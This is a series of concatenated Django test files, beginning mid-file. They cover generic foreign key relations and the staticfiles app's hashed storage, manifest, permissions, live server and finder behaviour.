        """Test related to #13085"""
        # Fails with another, ORM-level error
        dev1 = Developer(name='Joe')
        note = Note(note='Deserves promotion', content_object=dev1)
        with self.assertRaises(IntegrityError):
            note.save()

    def test_target_model_len_zero(self):
        """
        Saving a model with a GenericForeignKey to a model instance whose
        __len__ method returns 0 (Team.__len__() here) shouldn't fail (#13085).
        """
        team1 = Team.objects.create(name='Backend devs')
        note = Note(note='Deserve a bonus', content_object=team1)
        note.save()

    def test_target_model_nonzero_false(self):
        """Test related to #13085"""
        # __nonzero__() returns False -- This actually doesn't currently fail.
        # This test validates that
        g1 = Guild.objects.create(name='First guild')
        note = Note(note='Note for guild', content_object=g1)
        note.save()

    @skipIfDBFeature('interprets_empty_strings_as_nulls')
    def test_gfk_to_model_with_empty_pk(self):
        """Test related to #13085"""
        # Saving model with GenericForeignKey to model instance with an
        # empty CharField PK
        b1 = Board.objects.create(name='')
        tag = Tag(label='VP', content_object=b1)
        tag.save()

    def test_ticket_20378(self):
        # Create a couple of extra HasLinkThing so that the autopk value
        # isn't the same for Link and HasLinkThing.
        hs1 = HasLinkThing.objects.create()
        hs2 = HasLinkThing.objects.create()
        hs3 = HasLinkThing.objects.create()
        hs4 = HasLinkThing.objects.create()
        l1 = Link.objects.create(content_object=hs3)
        l2 = Link.objects.create(content_object=hs4)
        self.assertQuerysetEqual(
            HasLinkThing.objects.filter(links=l1),
            [hs3], lambda x: x)
        self.assertQuerysetEqual(
            HasLinkThing.objects.filter(links=l2),
            [hs4], lambda x: x)
        self.assertQuerysetEqual(
            HasLinkThing.objects.exclude(links=l2),
            [hs1, hs2, hs3], lambda x: x, ordered=False)
        self.assertQuerysetEqual(
            HasLinkThing.objects.exclude(links=l1),
            [hs1, hs2, hs4], lambda x: x, ordered=False)

    def test_ticket_20564(self):
        b1 = B.objects.create()
        b2 = B.objects.create()
        b3 = B.objects.create()
        c1 = C.objects.create(b=b1)
        c2 = C.objects.create(b=b2)
        c3 = C.objects.create(b=b3)
        A.objects.create(flag=None, content_object=b1)
        A.objects.create(flag=True, content_object=b2)
        self.assertQuerysetEqual(
            C.objects.filter(b__a__flag=None),
            [c1, c3], lambda x: x
        )
        self.assertQuerysetEqual(
            C.objects.exclude(b__a__flag=None),
            [c2], lambda x: x
        )

    def test_ticket_20564_nullable_fk(self):
        b1 = B.objects.create()
        b2 = B.objects.create()
        b3 = B.objects.create()
        d1 = D.objects.create(b=b1)
        d2 = D.objects.create(b=b2)
        d3 = D.objects.create(b=b3)
        d4 = D.objects.create()
        A.objects.create(flag=None, content_object=b1)
        A.objects.create(flag=True, content_object=b1)
        A.objects.create(flag=True, content_object=b2)
        self.assertQuerysetEqual(
            D.objects.exclude(b__a__flag=None),
            [d2], lambda x: x
        )
        self.assertQuerysetEqual(
            D.objects.filter(b__a__flag=None),
            [d1, d3, d4], lambda x: x
        )
        self.assertQuerysetEqual(
            B.objects.filter(a__flag=None),
            [b1, b3], lambda x: x
        )
        self.assertQuerysetEqual(
            B.objects.exclude(a__flag=None),
            [b2], lambda x: x
        )

    def test_extra_join_condition(self):
        # A crude check that content_type_id is taken in account in the
        # join/subquery condition.
        self.assertIn("content_type_id", str(B.objects.exclude(a__flag=None).query).lower())
        # No need for any joins - the join from inner query can be trimmed in
        # this case (but not in the above case as no a objects at all for given
        # B would then fail).
        self.assertNotIn(" join ", str(B.objects.exclude(a__flag=True).query).lower())
        self.assertIn("content_type_id", str(B.objects.exclude(a__flag=True).query).lower())

    def test_annotate(self):
        hs1 = HasLinkThing.objects.create()
        hs2 = HasLinkThing.objects.create()
        HasLinkThing.objects.create()
        b = Board.objects.create(name=str(hs1.pk))
        Link.objects.create(content_object=hs2)
        l = Link.objects.create(content_object=hs1)
        Link.objects.create(content_object=b)
        qs = HasLinkThing.objects.annotate(Sum('links')).filter(pk=hs1.pk)
        # If content_type restriction isn't in the query's join condition,
        # then wrong results are produced here as the link to b will also match
        # (b and hs1 have equal pks).
        self.assertEqual(qs.count(), 1)
        self.assertEqual(qs[0].links__sum, l.id)
        l.delete()
        # Now if we don't have proper left join, we will not produce any
        # results at all here.
        # clear cached results
        qs = qs.all()
        self.assertEqual(qs.count(), 1)
        # Note - 0 here would be a nicer result...
        self.assertIs(qs[0].links__sum, None)
        # Finally test that filtering works.
        self.assertEqual(qs.filter(links__sum__isnull=True).count(), 1)
        self.assertEqual(qs.filter(links__sum__isnull=False).count(), 0)

    def test_filter_targets_related_pk(self):
        HasLinkThing.objects.create()
        hs2 = HasLinkThing.objects.create()
        l = Link.objects.create(content_object=hs2)
        self.assertNotEqual(l.object_id, l.pk)
        self.assertQuerysetEqual(
            HasLinkThing.objects.filter(links=l.pk),
            [hs2], lambda x: x)

    def test_editable_generic_rel(self):
        GenericRelationForm = modelform_factory(HasLinkThing, fields='__all__')
        form = GenericRelationForm()
        self.assertIn('links', form.fields)
        form = GenericRelationForm({'links': None})
        self.assertTrue(form.is_valid())
        form.save()
        links = HasLinkThing._meta.get_field('links')
        self.assertEqual(links.save_form_data_calls, 1)

    def test_ticket_22998(self):
        related = Related.objects.create()
        content = Content.objects.create(related_obj=related)
        Node.objects.create(content=content)

        # deleting the Related cascades to the Content cascades to the Node,
        # where the pre_delete signal should fire and prevent deletion.
        with self.assertRaises(ProtectedError):
            related.delete()

    def test_ticket_22982(self):
        place = Place.objects.create(name='My Place')
        self.assertIn('GenericRelatedObjectManager', str(place.links))






from __future__ import unicode_literals

import os
import shutil
import sys
import tempfile
import unittest

from django.conf import settings
from django.contrib.staticfiles import finders, storage
from django.contrib.staticfiles.management.commands.collectstatic import \
    Command as CollectstaticCommand
from django.core.cache.backends.base import BaseCache
from django.core.management import call_command
from django.test import override_settings
from django.utils import six
from django.utils.encoding import force_text

from .cases import CollectionTestCase
from .settings import TEST_ROOT


def hashed_file_path(test, path):
    fullpath = test.render_template(test.static_template_snippet(path))
    return fullpath.replace(settings.STATIC_URL, '')


class TestHashedFiles(object):
    hashed_file_path = hashed_file_path

    def tearDown(self):
        # Clear hashed files to avoid side effects among tests.
        storage.staticfiles_storage.hashed_files.clear()

    def test_template_tag_return(self):
        """
        Test the CachedStaticFilesStorage backend.
        """
        self.assertStaticRaises(ValueError, "does/not/exist.png", "/static/does/not/exist.png")
        self.assertStaticRenders("test/file.txt", "/static/test/file.dad0999e4f8f.txt")
        self.assertStaticRenders("test/file.txt", "/static/test/file.dad0999e4f8f.txt", asvar=True)
        self.assertStaticRenders("cached/styles.css", "/static/cached/styles.bb84a0240107.css")
        self.assertStaticRenders("path/", "/static/path/")
        self.assertStaticRenders("path/?query", "/static/path/?query")

    def test_template_tag_simple_content(self):
        relpath = self.hashed_file_path("cached/styles.css")
        self.assertEqual(relpath, "cached/styles.bb84a0240107.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            content = relfile.read()
            self.assertNotIn(b"cached/other.css", content)
            self.assertIn(b"other.d41d8cd98f00.css", content)

    def test_path_ignored_completely(self):
        relpath = self.hashed_file_path("cached/css/ignored.css")
        self.assertEqual(relpath, "cached/css/ignored.554da52152af.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            content = relfile.read()
            self.assertIn(b'#foobar', content)
            self.assertIn(b'http:foobar', content)
            self.assertIn(b'https:foobar', content)
            self.assertIn(b'data:foobar', content)
            self.assertIn(b'chrome:foobar', content)
            self.assertIn(b'//foobar', content)

    def test_path_with_querystring(self):
        relpath = self.hashed_file_path("cached/styles.css?spam=eggs")
        self.assertEqual(relpath, "cached/styles.bb84a0240107.css?spam=eggs")
        with storage.staticfiles_storage.open(
                "cached/styles.bb84a0240107.css") as relfile:
            content = relfile.read()
            self.assertNotIn(b"cached/other.css", content)
            self.assertIn(b"other.d41d8cd98f00.css", content)

    def test_path_with_fragment(self):
        relpath = self.hashed_file_path("cached/styles.css#eggs")
        self.assertEqual(relpath, "cached/styles.bb84a0240107.css#eggs")
        with storage.staticfiles_storage.open(
                "cached/styles.bb84a0240107.css") as relfile:
            content = relfile.read()
            self.assertNotIn(b"cached/other.css", content)
            self.assertIn(b"other.d41d8cd98f00.css", content)

    def test_path_with_querystring_and_fragment(self):
        relpath = self.hashed_file_path("cached/css/fragments.css")
        self.assertEqual(relpath, "cached/css/fragments.59dc2b188043.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            content = relfile.read()
            self.assertIn(b'fonts/font.a4b0478549d0.eot?#iefix', content)
            self.assertIn(b'fonts/font.b8d603e42714.svg#webfontIyfZbseF', content)
            self.assertIn(b'fonts/font.b8d603e42714.svg#path/to/../../fonts/font.svg', content)
            self.assertIn(b'data:font/woff;charset=utf-8;base64,d09GRgABAAAAADJoAA0AAAAAR2QAAQAAAAAAAAAAAAA', content)
            self.assertIn(b'#default#VML', content)

    def test_template_tag_absolute(self):
        relpath = self.hashed_file_path("cached/absolute.css")
        self.assertEqual(relpath, "cached/absolute.df312c6326e1.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            content = relfile.read()
            self.assertNotIn(b"/static/cached/styles.css", content)
            self.assertIn(b"/static/cached/styles.bb84a0240107.css", content)
            self.assertNotIn(b"/static/styles_root.css", content)
            self.assertIn(b"/static/styles_root.401f2509a628.css", content)
            self.assertIn(b'/static/cached/img/relative.acae32e4532b.png', content)

    def test_template_tag_absolute_root(self):
        """
        Like test_template_tag_absolute, but for a file in STATIC_ROOT (#26249).
        """
        relpath = self.hashed_file_path("absolute_root.css")
        self.assertEqual(relpath, "absolute_root.f864a4d7f083.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            content = relfile.read()
            self.assertNotIn(b"/static/styles_root.css", content)
            self.assertIn(b"/static/styles_root.401f2509a628.css", content)

    def test_template_tag_relative(self):
        relpath = self.hashed_file_path("cached/relative.css")
        self.assertEqual(relpath, "cached/relative.b0375bd89156.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            content = relfile.read()
            self.assertNotIn(b"../cached/styles.css", content)
            self.assertNotIn(b'@import "styles.css"', content)
            self.assertNotIn(b'url(img/relative.png)', content)
            self.assertIn(b'url("img/relative.acae32e4532b.png")', content)
            self.assertIn(b"../cached/styles.bb84a0240107.css", content)

    def test_import_replacement(self):
        "See #18050"
        relpath = self.hashed_file_path("cached/import.css")
        self.assertEqual(relpath, "cached/import.2b1d40b0bbd4.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            self.assertIn(b"""import url("styles.bb84a0240107.css")""", relfile.read())

    def test_template_tag_deep_relative(self):
        relpath = self.hashed_file_path("cached/css/window.css")
        self.assertEqual(relpath, "cached/css/window.3906afbb5a17.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            content = relfile.read()
            self.assertNotIn(b'url(img/window.png)', content)
            self.assertIn(b'url("img/window.acae32e4532b.png")', content)

    def test_template_tag_url(self):
        relpath = self.hashed_file_path("cached/url.css")
        self.assertEqual(relpath, "cached/url.902310b73412.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            self.assertIn(b"https://", relfile.read())

    def test_post_processing(self):
        """
        Test that post_processing behaves correctly.

        Files that are alterable should always be post-processed; files that
        aren't should be skipped.

        collectstatic has already been called once in setUp() for this testcase,
        therefore we check by verifying behavior on a second run.
        """
        collectstatic_args = {
            'interactive': False,
            'verbosity': 0,
            'link': False,
            'clear': False,
            'dry_run': False,
            'post_process': True,
            'use_default_ignore_patterns': True,
            'ignore_patterns': ['*.ignoreme'],
        }

        collectstatic_cmd = CollectstaticCommand()
        collectstatic_cmd.set_options(**collectstatic_args)
        stats = collectstatic_cmd.collect()
        self.assertIn(os.path.join('cached', 'css', 'window.css'), stats['post_processed'])
        self.assertIn(os.path.join('cached', 'css', 'img', 'window.png'), stats['unmodified'])
        self.assertIn(os.path.join('test', 'nonascii.css'), stats['post_processed'])

    def test_css_import_case_insensitive(self):
        relpath = self.hashed_file_path("cached/styles_insensitive.css")
        self.assertEqual(relpath, "cached/styles_insensitive.c609562b6d3c.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            content = relfile.read()
            self.assertNotIn(b"cached/other.css", content)
            self.assertIn(b"other.d41d8cd98f00.css", content)

    @override_settings(
        STATICFILES_DIRS=[os.path.join(TEST_ROOT, 'project', 'faulty')],
        STATICFILES_FINDERS=['django.contrib.staticfiles.finders.FileSystemFinder'],
    )
    def test_post_processing_failure(self):
        """
        Test that post_processing indicates the origin of the error when it
        fails. Regression test for #18986.
        """
        finders.get_finder.cache_clear()
        err = six.StringIO()
        with self.assertRaises(Exception):
            call_command('collectstatic', interactive=False, verbosity=0, stderr=err)
        self.assertEqual("Post-processing 'faulty.css' failed!\n\n", err.getvalue())


@override_settings(
    STATICFILES_STORAGE='django.contrib.staticfiles.storage.CachedStaticFilesStorage',
)
class TestCollectionCachedStorage(TestHashedFiles, CollectionTestCase):
    """
    Tests for the Cache busting storage
    """
    def test_cache_invalidation(self):
        name = "cached/styles.css"
        hashed_name = "cached/styles.bb84a0240107.css"
        # check if the cache is filled correctly as expected
        cache_key = storage.staticfiles_storage.hash_key(name)
        cached_name = storage.staticfiles_storage.hashed_files.get(cache_key)
        self.assertEqual(self.hashed_file_path(name), cached_name)
        # clearing the cache to make sure we re-set it correctly in the url method
        storage.staticfiles_storage.hashed_files.clear()
        cached_name = storage.staticfiles_storage.hashed_files.get(cache_key)
        self.assertIsNone(cached_name)
        self.assertEqual(self.hashed_file_path(name), hashed_name)
        cached_name = storage.staticfiles_storage.hashed_files.get(cache_key)
        self.assertEqual(cached_name, hashed_name)

    def test_cache_key_memcache_validation(self):
        """
        Handle cache key creation correctly, see #17861.
        """
        name = (
            "/some crazy/long filename/ with spaces Here and ?#%#$/other/stuff"
            "/some crazy/long filename/ with spaces Here and ?#%#$/other/stuff"
            "/some crazy/long filename/ with spaces Here and ?#%#$/other/stuff"
            "/some crazy/long filename/ with spaces Here and ?#%#$/other/stuff"
            "/some crazy/long filename/ with spaces Here and ?#%#$/other/stuff"
            "/some crazy/\x16\xb4"
        )
        cache_key = storage.staticfiles_storage.hash_key(name)
        cache_validator = BaseCache({})
        cache_validator.validate_key(cache_key)
        self.assertEqual(cache_key, 'staticfiles:821ea71ef36f95b3922a77f7364670e7')


@override_settings(
    STATICFILES_STORAGE='staticfiles_tests.storage.ExtraPatternsCachedStaticFilesStorage',
)
class TestExtraPatternsCachedStorage(CollectionTestCase):

    def setUp(self):
        storage.staticfiles_storage.hashed_files.clear()  # avoid cache interference
        super(TestExtraPatternsCachedStorage, self).setUp()

    def cached_file_path(self, path):
        fullpath = self.render_template(self.static_template_snippet(path))
        return fullpath.replace(settings.STATIC_URL, '')

    def test_multi_extension_patterns(self):
        """
        With storage classes having several file extension patterns, only the
        files matching a specific file pattern should be affected by the
        substitution (#19670).
        """
        # CSS files shouldn't be touched by JS patterns.
        relpath = self.cached_file_path("cached/import.css")
        self.assertEqual(relpath, "cached/import.2b1d40b0bbd4.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            self.assertIn(b'import url("styles.bb84a0240107.css")', relfile.read())

        # Confirm JS patterns have been applied to JS files.
        relpath = self.cached_file_path("cached/test.js")
        self.assertEqual(relpath, "cached/test.62789ffcd280.js")
        with storage.staticfiles_storage.open(relpath) as relfile:
            self.assertIn(b'JS_URL("import.2b1d40b0bbd4.css")', relfile.read())


@override_settings(
    STATICFILES_STORAGE='django.contrib.staticfiles.storage.ManifestStaticFilesStorage',
)
class TestCollectionManifestStorage(TestHashedFiles, CollectionTestCase):
    """
    Tests for the Cache busting storage
    """
    def setUp(self):
        super(TestCollectionManifestStorage, self).setUp()

        temp_dir = tempfile.mkdtemp()
        os.makedirs(os.path.join(temp_dir, 'test'))
        self._clear_filename = os.path.join(temp_dir, 'test', 'cleared.txt')
        with open(self._clear_filename, 'w') as f:
            f.write('to be deleted in one test')

        self.patched_settings = self.settings(
            STATICFILES_DIRS=settings.STATICFILES_DIRS + [temp_dir])
        self.patched_settings.enable()
        self.addCleanup(shutil.rmtree, six.text_type(temp_dir))

    def tearDown(self):
        self.patched_settings.disable()

        if os.path.exists(self._clear_filename):
            os.unlink(self._clear_filename)

        super(TestCollectionManifestStorage, self).tearDown()

    def test_manifest_exists(self):
        filename = storage.staticfiles_storage.manifest_name
        path = storage.staticfiles_storage.path(filename)
        self.assertTrue(os.path.exists(path))

    def test_loaded_cache(self):
        self.assertNotEqual(storage.staticfiles_storage.hashed_files, {})
        manifest_content = storage.staticfiles_storage.read_manifest()
        self.assertIn(
            '"version": "%s"' % storage.staticfiles_storage.manifest_version,
            force_text(manifest_content)
        )

    def test_parse_cache(self):
        hashed_files = storage.staticfiles_storage.hashed_files
        manifest = storage.staticfiles_storage.load_manifest()
        self.assertEqual(hashed_files, manifest)

    def test_clear_empties_manifest(self):
        cleared_file_name = os.path.join('test', 'cleared.txt')
        # collect the additional file
        self.run_collectstatic()

        hashed_files = storage.staticfiles_storage.hashed_files
        self.assertIn(cleared_file_name, hashed_files)

        manifest_content = storage.staticfiles_storage.load_manifest()
        self.assertIn(cleared_file_name, manifest_content)

        original_path = storage.staticfiles_storage.path(cleared_file_name)
        self.assertTrue(os.path.exists(original_path))

        # delete the original file form the app, collect with clear
        os.unlink(self._clear_filename)
        self.run_collectstatic(clear=True)

        self.assertFileNotFound(original_path)

        hashed_files = storage.staticfiles_storage.hashed_files
        self.assertNotIn(cleared_file_name, hashed_files)

        manifest_content = storage.staticfiles_storage.load_manifest()
        self.assertNotIn(cleared_file_name, manifest_content)


@override_settings(
    STATICFILES_STORAGE='staticfiles_tests.storage.SimpleCachedStaticFilesStorage',
)
class TestCollectionSimpleCachedStorage(CollectionTestCase):
    """
    Tests for the Cache busting storage
    """
    hashed_file_path = hashed_file_path

    def setUp(self):
        storage.staticfiles_storage.hashed_files.clear()  # avoid cache interference
        super(TestCollectionSimpleCachedStorage, self).setUp()

    def test_template_tag_return(self):
        """
        Test the CachedStaticFilesStorage backend.
        """
        self.assertStaticRaises(ValueError, "does/not/exist.png", "/static/does/not/exist.png")
        self.assertStaticRenders("test/file.txt", "/static/test/file.deploy12345.txt")
        self.assertStaticRenders("cached/styles.css", "/static/cached/styles.deploy12345.css")
        self.assertStaticRenders("path/", "/static/path/")
        self.assertStaticRenders("path/?query", "/static/path/?query")

    def test_template_tag_simple_content(self):
        relpath = self.hashed_file_path("cached/styles.css")
        self.assertEqual(relpath, "cached/styles.deploy12345.css")
        with storage.staticfiles_storage.open(relpath) as relfile:
            content = relfile.read()
            self.assertNotIn(b"cached/other.css", content)
            self.assertIn(b"other.deploy12345.css", content)


class CustomStaticFilesStorage(storage.StaticFilesStorage):
    """
    Used in TestStaticFilePermissions
    """
    def __init__(self, *args, **kwargs):
        kwargs['file_permissions_mode'] = 0o640
        kwargs['directory_permissions_mode'] = 0o740
        super(CustomStaticFilesStorage, self).__init__(*args, **kwargs)


@unittest.skipIf(sys.platform.startswith('win'), "Windows only partially supports chmod.")
class TestStaticFilePermissions(CollectionTestCase):

    command_params = {
        'interactive': False,
        'verbosity': 0,
        'ignore_patterns': ['*.ignoreme'],
    }

    def setUp(self):
        self.umask = 0o027
        self.old_umask = os.umask(self.umask)
        super(TestStaticFilePermissions, self).setUp()

    def tearDown(self):
        os.umask(self.old_umask)
        super(TestStaticFilePermissions, self).tearDown()

    # Don't run collectstatic command in this test class.
    def run_collectstatic(self, **kwargs):
        pass

    @override_settings(
        FILE_UPLOAD_PERMISSIONS=0o655,
        FILE_UPLOAD_DIRECTORY_PERMISSIONS=0o765,
    )
    def test_collect_static_files_permissions(self):
        call_command('collectstatic', **self.command_params)
        test_file = os.path.join(settings.STATIC_ROOT, "test.txt")
        test_dir = os.path.join(settings.STATIC_ROOT, "subdir")
        file_mode = os.stat(test_file)[0] & 0o777
        dir_mode = os.stat(test_dir)[0] & 0o777
        self.assertEqual(file_mode, 0o655)
        self.assertEqual(dir_mode, 0o765)

    @override_settings(
        FILE_UPLOAD_PERMISSIONS=None,
        FILE_UPLOAD_DIRECTORY_PERMISSIONS=None,
    )
    def test_collect_static_files_default_permissions(self):
        call_command('collectstatic', **self.command_params)
        test_file = os.path.join(settings.STATIC_ROOT, "test.txt")
        test_dir = os.path.join(settings.STATIC_ROOT, "subdir")
        file_mode = os.stat(test_file)[0] & 0o777
        dir_mode = os.stat(test_dir)[0] & 0o777
        self.assertEqual(file_mode, 0o666 & ~self.umask)
        self.assertEqual(dir_mode, 0o777 & ~self.umask)

    @override_settings(
        FILE_UPLOAD_PERMISSIONS=0o655,
        FILE_UPLOAD_DIRECTORY_PERMISSIONS=0o765,
        STATICFILES_STORAGE='staticfiles_tests.test_storage.CustomStaticFilesStorage',
    )
    def test_collect_static_files_subclass_of_static_storage(self):
        call_command('collectstatic', **self.command_params)
        test_file = os.path.join(settings.STATIC_ROOT, "test.txt")
        test_dir = os.path.join(settings.STATIC_ROOT, "subdir")
        file_mode = os.stat(test_file)[0] & 0o777
        dir_mode = os.stat(test_dir)[0] & 0o777
        self.assertEqual(file_mode, 0o640)
        self.assertEqual(dir_mode, 0o740)






import errno
import os
from datetime import datetime

from django.conf import settings
from django.contrib.staticfiles.storage import CachedStaticFilesStorage
from django.core.files import storage
from django.utils import timezone


class DummyStorage(storage.Storage):
    """
    A storage class that implements get_modified_time().
    """
    def _save(self, name, content):
        return 'dummy'

    def delete(self, name):
        pass

    def exists(self, name):
        pass

    def get_modified_time(self, name):
        return datetime.datetime(1970, 1, 1, tzinfo=timezone.utc)


class PathNotImplementedStorage(storage.Storage):

    def _save(self, name, content):
        return 'dummy'

    def _path(self, name):
        return os.path.join(settings.STATIC_ROOT, name)

    def exists(self, name):
        return os.path.exists(self._path(name))

    def listdir(self, path):
        path = self._path(path)
        directories, files = [], []
        for entry in os.listdir(path):
            if os.path.isdir(os.path.join(path, entry)):
                directories.append(entry)
            else:
                files.append(entry)
        return directories, files

    def delete(self, name):
        name = self._path(name)
        try:
            os.remove(name)
        except OSError as e:
            if e.errno != errno.ENOENT:
                raise

    def path(self, name):
        raise NotImplementedError


class SimpleCachedStaticFilesStorage(CachedStaticFilesStorage):

    def file_hash(self, name, content=None):
        return 'deploy12345'


class ExtraPatternsCachedStaticFilesStorage(CachedStaticFilesStorage):
    """
    A storage class to test pattern substitutions with more than one pattern
    entry. The added pattern rewrites strings like "url(...)" to JS_URL("...").
    """
    patterns = tuple(CachedStaticFilesStorage.patterns) + (
        (
            "*.js", (
                (r"""(url\(['"]{0,1}\s*(.*?)["']{0,1}\))""", 'JS_URL("%s")'),
            ),
        ),
    )






from __future__ import unicode_literals

import os.path

from django.utils._os import upath

TEST_ROOT = os.path.dirname(upath(__file__))

TEST_SETTINGS = {
    'MEDIA_URL': '/media/',
    'STATIC_URL': '/static/',
    'MEDIA_ROOT': os.path.join(TEST_ROOT, 'project', 'site_media', 'media'),
    'STATIC_ROOT': os.path.join(TEST_ROOT, 'project', 'site_media', 'static'),
    'STATICFILES_DIRS': [
        os.path.join(TEST_ROOT, 'project', 'documents'),
        ('prefix', os.path.join(TEST_ROOT, 'project', 'prefixed')),
    ],
    'STATICFILES_FINDERS': [
        'django.contrib.staticfiles.finders.FileSystemFinder',
        'django.contrib.staticfiles.finders.AppDirectoriesFinder',
        'django.contrib.staticfiles.finders.DefaultStorageFinder',
    ],
    'INSTALLED_APPS': [
        'django.contrib.staticfiles',
        'staticfiles_tests',
        'staticfiles_tests.apps.test',
        'staticfiles_tests.apps.no_label',
    ],
}






"""
A subset of the tests in tests/servers/tests exercising
django.contrib.staticfiles.testing.StaticLiveServerTestCase instead of
django.test.LiveServerTestCase.
"""

import contextlib
import os

from django.contrib.staticfiles.testing import StaticLiveServerTestCase
from django.core.exceptions import ImproperlyConfigured
from django.test import modify_settings, override_settings
from django.utils._os import upath
from django.utils.six.moves.urllib.request import urlopen

TEST_ROOT = os.path.dirname(upath(__file__))
TEST_SETTINGS = {
    'MEDIA_URL': '/media/',
    'STATIC_URL': '/static/',
    'MEDIA_ROOT': os.path.join(TEST_ROOT, 'project', 'site_media', 'media'),
    'STATIC_ROOT': os.path.join(TEST_ROOT, 'project', 'site_media', 'static'),
}


class LiveServerBase(StaticLiveServerTestCase):

    available_apps = []

    @classmethod
    def setUpClass(cls):
        # Override settings
        cls.settings_override = override_settings(**TEST_SETTINGS)
        cls.settings_override.enable()
        super(LiveServerBase, cls).setUpClass()

    @classmethod
    def tearDownClass(cls):
        super(LiveServerBase, cls).tearDownClass()
        # Restore original settings
        cls.settings_override.disable()


class StaticLiveServerChecks(LiveServerBase):

    @classmethod
    def setUpClass(cls):
        # If contrib.staticfiles isn't configured properly, the exception
        # should bubble up to the main thread.
        old_STATIC_URL = TEST_SETTINGS['STATIC_URL']
        TEST_SETTINGS['STATIC_URL'] = None
        cls.raises_exception()
        TEST_SETTINGS['STATIC_URL'] = old_STATIC_URL

    @classmethod
    def tearDownClass(cls):
        # skip it, as setUpClass doesn't call its parent either
        pass

    @classmethod
    def raises_exception(cls):
        try:
            super(StaticLiveServerChecks, cls).setUpClass()
            raise Exception("The line above should have raised an exception")
        except ImproperlyConfigured:
            # This raises ImproperlyConfigured("You're using the staticfiles
            # app without having set the required STATIC_URL setting.")
            pass
        finally:
            super(StaticLiveServerChecks, cls).tearDownClass()

    def test_test_test(self):
        # Intentionally empty method so that the test is picked up by the
        # test runner and the overridden setUpClass() method is executed.
        pass


class StaticLiveServerView(LiveServerBase):

    def urlopen(self, url):
        return urlopen(self.live_server_url + url)

    # The test is going to access a static file stored in this application.
    @modify_settings(INSTALLED_APPS={'append': 'staticfiles_tests.apps.test'})
    def test_collectstatic_emulation(self):
        """
        Test that StaticLiveServerTestCase use of staticfiles' serve() allows it
        to discover app's static assets without having to collectstatic first.
        """
        with contextlib.closing(self.urlopen('/static/test/file.txt')) as f:
            self.assertEqual(f.read().rstrip(b'\r\n'), b'In static directory.')






from __future__ import unicode_literals

from .cases import StaticFilesTestCase


class TestTemplateTag(StaticFilesTestCase):

    def test_template_tag(self):
        self.assertStaticRenders("does/not/exist.png", "/static/does/not/exist.png")
        self.assertStaticRenders("testfile.txt", "/static/testfile.txt")






from __future__ import unicode_literals

import posixpath

from django.conf import settings
from django.test import override_settings

from .cases import StaticFilesTestCase, TestDefaults


@override_settings(ROOT_URLCONF='staticfiles_tests.urls.default')
class TestServeStatic(StaticFilesTestCase):
    """
    Test static asset serving view.
    """
    def _response(self, filepath):
        return self.client.get(
            posixpath.join(settings.STATIC_URL, filepath))

    def assertFileContains(self, filepath, text):
        self.assertContains(self._response(filepath), text)

    def assertFileNotFound(self, filepath):
        self.assertEqual(self._response(filepath).status_code, 404)


@override_settings(DEBUG=False)
class TestServeDisabled(TestServeStatic):
    """
    Test serving static files disabled when DEBUG is False.
    """
    def test_disabled_serving(self):
        self.assertFileNotFound('test.txt')


@override_settings(DEBUG=True)
class TestServeStaticWithDefaultURL(TestDefaults, TestServeStatic):
    """
    Test static asset serving view with manually configured URLconf.
    """


@override_settings(DEBUG=True, ROOT_URLCONF='staticfiles_tests.urls.helper')
class TestServeStaticWithURLHelper(TestDefaults, TestServeStatic):
    """
    Test static asset serving view with staticfiles_urlpatterns helper.
    """






from __future__ import unicode_literals

import os

from django.conf import settings
from django.contrib.staticfiles import finders, storage
from django.core.exceptions import ImproperlyConfigured
from django.test import SimpleTestCase, override_settings

from .cases import StaticFilesTestCase
from .settings import TEST_ROOT


class TestFinders(object):
    """
    Base finder test mixin.

    On Windows, sometimes the case of the path we ask the finders for and the
    path(s) they find can differ. Compare them using os.path.normcase() to
    avoid false negatives.
    """
    def test_find_first(self):
        src, dst = self.find_first
        found = self.finder.find(src)
        self.assertEqual(os.path.normcase(found), os.path.normcase(dst))

    def test_find_all(self):
        src, dst = self.find_all
        found = self.finder.find(src, all=True)
        found = [os.path.normcase(f) for f in found]
        dst = [os.path.normcase(d) for d in dst]
        self.assertEqual(found, dst)


class TestFileSystemFinder(TestFinders, StaticFilesTestCase):
    """
    Test FileSystemFinder.
    """
    def setUp(self):
        super(TestFileSystemFinder, self).setUp()
        self.finder = finders.FileSystemFinder()
        test_file_path = os.path.join(TEST_ROOT, 'project', 'documents', 'test', 'file.txt')
        self.find_first = (os.path.join('test', 'file.txt'), test_file_path)
        self.find_all = (os.path.join('test', 'file.txt'), [test_file_path])


class TestAppDirectoriesFinder(TestFinders, StaticFilesTestCase):
    """
    Test AppDirectoriesFinder.
    """
    def setUp(self):
        super(TestAppDirectoriesFinder, self).setUp()
        self.finder = finders.AppDirectoriesFinder()
        test_file_path = os.path.join(TEST_ROOT, 'apps', 'test', 'static', 'test', 'file1.txt')
        self.find_first = (os.path.join('test', 'file1.txt'), test_file_path)
        self.find_all = (os.path.join('test', 'file1.txt'), [test_file_path])


class TestDefaultStorageFinder(TestFinders, StaticFilesTestCase):
    """
    Test DefaultStorageFinder.
    """
    def setUp(self):
        super(TestDefaultStorageFinder, self).setUp()
        self.finder = finders.DefaultStorageFinder(
            storage=storage.StaticFilesStorage(location=settings.MEDIA_ROOT))
        test_file_path = os.path.join(settings.MEDIA_ROOT, 'media-file.txt')
        self.find_first = ('media-file.txt', test_file_path)
        self.find_all = ('media-file.txt', [test_file_path])


@override_settings(
    STATICFILES_FINDERS=['django.contrib.staticfiles.finders.FileSystemFinder'],
    STATICFILES_DIRS=[os.path.join(TEST_ROOT, 'project', 'documents')],
)
class TestMiscFinder(SimpleTestCase):
    """
    A few misc finder tests.
    """
    def test_get_finder(self):
        self.assertIsInstance(finders.get_finder(
            'django.contrib.staticfiles.finders.FileSystemFinder'),
            finders.FileSystemFinder)

    def test_get_finder_bad_classname(self):
        with self.assertRaises(ImportError):
            finders.get_finder('django.contrib.staticfiles.finders.FooBarFinder')

    def test_get_finder_bad_module(self):
        with self.assertRaises(ImportError):
            finders.get_finder('foo.bar.FooBarFinder')

